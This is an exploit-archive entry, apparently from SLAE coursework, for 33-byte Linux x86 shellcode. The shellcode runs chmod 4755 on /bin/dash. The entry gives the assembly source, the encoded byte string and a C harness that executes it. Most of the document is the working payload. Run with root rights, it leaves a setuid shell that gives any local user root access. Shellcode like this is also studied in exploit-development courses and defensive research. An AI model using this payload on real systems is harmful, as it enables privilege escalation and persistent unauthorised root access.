Linux/x86 - chmod 4755 /bin/dash Shellcode (33 bytes)

/*
 
Title: chmod 4755 /bin/dash
Author: absolomb
Website: https://www.sploitspren.com
SLAE-ID: 1208
Purpose: setuid bit on /bin/dash
Tested On: Ubuntu 14.04
Arch: x86
Size: 33 bytes
 
global _start
 
section .text
 
_start:
 
    cdq         ; edx to 0
    push edx        ; terminating NULL
    push 0x68736164 ; 'hsad'
    push 0x2f6e6962 ; '/nib'
    push 0x2f2f2f2f ; '////'
    mov ebx, esp    ; point ebx to stack
    mov cx, 0x9ed   ; 4755
    push 0xf        ; chmod()
    pop eax    
    int 0x80        ; execute chmod()
    push 0x1        ; exit()
    pop eax
    int 0x80        ; execute exit()
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x99\x52\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x66\xb9\xed\x09\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80";
main()
{
 
    printf("Shellcode Length:  %d\n", strlen(code));
 
    int (*ret)() = (int(*)())code;
 
    ret();
 
}